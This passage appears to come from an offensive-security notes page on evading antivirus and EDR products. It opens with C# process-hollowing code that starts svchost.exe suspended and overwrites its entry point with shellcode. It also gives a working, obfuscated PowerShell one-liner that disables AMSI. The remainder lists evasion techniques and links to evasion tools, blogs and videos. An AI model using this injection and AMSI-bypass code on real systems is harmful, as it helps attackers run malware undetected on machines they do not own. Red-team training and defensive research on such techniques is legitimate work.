WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true)] static extern uint ResumeThread(IntPtr hThread); static void Main(string[] args) { STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi); PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); IntPtr ptrToImageBase = (IntPtr)((Int64) bi.PebBaseAddress + 0x10); byte[] addrBuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); //Parse PE Headerbyte[] data = new byte[0x200]; ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);uint opthdr = e_lfanew_offset + 0x28;uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); // Overwrite Entry Pointbyte[] buf = new byte[] { }; // Put some shellcode here WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead); ResumeThread(pi.hThread);}}}
AV & EDR Evasion
-
Intro
-
AV Evasion Mechanisms
AV Evasion mechanisms, and as such, it offers the possibility to include AV evasion features to the payload in the form of “modules” (plugins). The plugins which can be embedded are:- AMSI bypass
- WLDP bypass
- ETW bypass
- Sandbox (Behavioural) Deception
-
EDR Evasion Mechanisms
EDR Evasion mechanisms, such as full unhooking, direct syscall invocation and manual DLL mapping. Direct Syscalls are implemented in C# using the outstanding “DInvoke” project, again by TheWover. In C/C++, Syscalls are implemented using SysWhispers and SysWhispers2 projects, by Jackson_T. In addition, Inceptor has built-in support for x86 Syscalls as well. As the AV bypass features, these features can be enabled as modules, with the only difference that they require operating on a template which supports them. The techniques implemented so far are:- Full Unhooking
- Manual DLL Mapping
- Direct Syscalls NtQueueApcThreadEx (local) RtlCreateUserThread
-
-
AMSI & ETW Bypass
- Invoke-Obfuscation
- AMSIDIabler.ps1
$apple=[Ref].Assembly.GetTypes()ForEach($banana in $apple) {if ($banana.Name -like "*siUtils") {$cherry=$banana}}$dogwater=$cherry.GetFields('NonPublic,Static')ForEach($earache in $dogwater) {if ($earache.Name -like "*InitFailed") {$foxhole=$earache}}$foxhole.SetValue($null,$true)
- Patches AMSI and ETW. Uses D/Invoke
- Introduction
- Tool1
- Tool2
- Cheatsheet1
- Cheatsheet2
- C#
- mimikatz
- http://www.casaba.com/blog/
- https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
- https://github.com/cobbr/SharpSploit/tree/master/SharpSploit/Evasion
-
EDR Projects
-
Tools
- https://github.com/icyguider/Shhhloader
- Shellcode=> [Execution + syscalls + ProcessInjection + PPID Spoofing + Unhooking + sandbox Evasion + Obfuscation + XOR Encoding with Dynamic Key Generation +API Hashing +String Encryption] => Native EXE||Dll
- https://github.com/klezVirus/inceptor
- Shellcode|EXE|DLL => [Execution | ProcessInjection+ Syscalls + Obfuscation (Native|shellcode|.Net) + Code Signing ] => [.Net ,PS ,Native]
- https://github.com/optiv/Freeze
- https://github.com/naksyn/Pyramid
- https://github.com/0xsp-SRD/mortar
- https://github.com/bats3c/darkarmour
- https://github.com/optiv/ScareCrow
- https://github.com/Yaxser/Backstab/
- https://github.com/tanc7/EXOCET-AV-Evasion
- https://github.com/icyguider/Shhhloader
Next Steps
-
Blogs
-
Writeups
-
https://vanmieghem.io/process-injection-evading-edr-in-2023/
-
https://aleksazatezalo.medium.com/three-techniques-for-bypassing-edr-3b4101002951
-
https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html
-
https://kylemistele.medium.com/a-beginners-guide-to-edr-evasion-b98cc076eb9a
-
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
-
https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa
-
https://infosecwriteups.com/evade-avs-edr-with-shellcode-injection-159dde4dba1a
-
https://www.ired.team/offensive-security/defense-evasion/unloading-sysmon-driver
-
https://cymulate.com/blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints
-
-
Videos
- https://www.youtube.com/watch?v=eb525ZTIsAc
- https://www.youtube.com/watch?v=Q7mhtA4IadY
- https://www.youtube.com/watch?v=d_Z_WV9fp9Q
- https://www.youtube.com/watch?v=KeSRGjnTdSc
- https://www.youtube.com/watch?v=uyV8a4QScKg
- https://www.youtube.com/watch?v=CKfjLnEMfvI
- https://www.youtube.com/watch?v=_sPM9Er_194
- https://www.youtube.com/watch?v=C2cgvpN44is
- https://www.youtube.com/watch?v=w0bh7s7bVXI
- https://www.youtube.com/watch?app=desktop&v=9pwMCHlNma4
- https://www.youtube.com/watch?v=C2cgvpN44is
- https://www.youtube.com/watch?v=WmJcbDfy9L4
- https://www.youtube.com/watch?v=e59T4EbyTH0
- https://www.youtube.com/watch?v=L__arv8I2bk&list=PL-D1lWyrp4YOAwTjRsLR7OrTxGQmtuYEX
- https://www.youtube.com/watch?v=rElV-T6DIQ8
- https://www.youtube.com/watch?v=NWEpE6_iAvE
- https://www.youtube.com/watch?v=w-p4JIZhJoA
- https://www.youtube.com/watch?v=5LudHSojlXA
- https://www.youtube.com/watch?v=QtObgEfy5Jw
- https://www.youtube.com/watch?v=4fcjd2-KUVM
- https://www.youtube.com/watch?v=OirMTRSAiAA&t=620s
-
Cources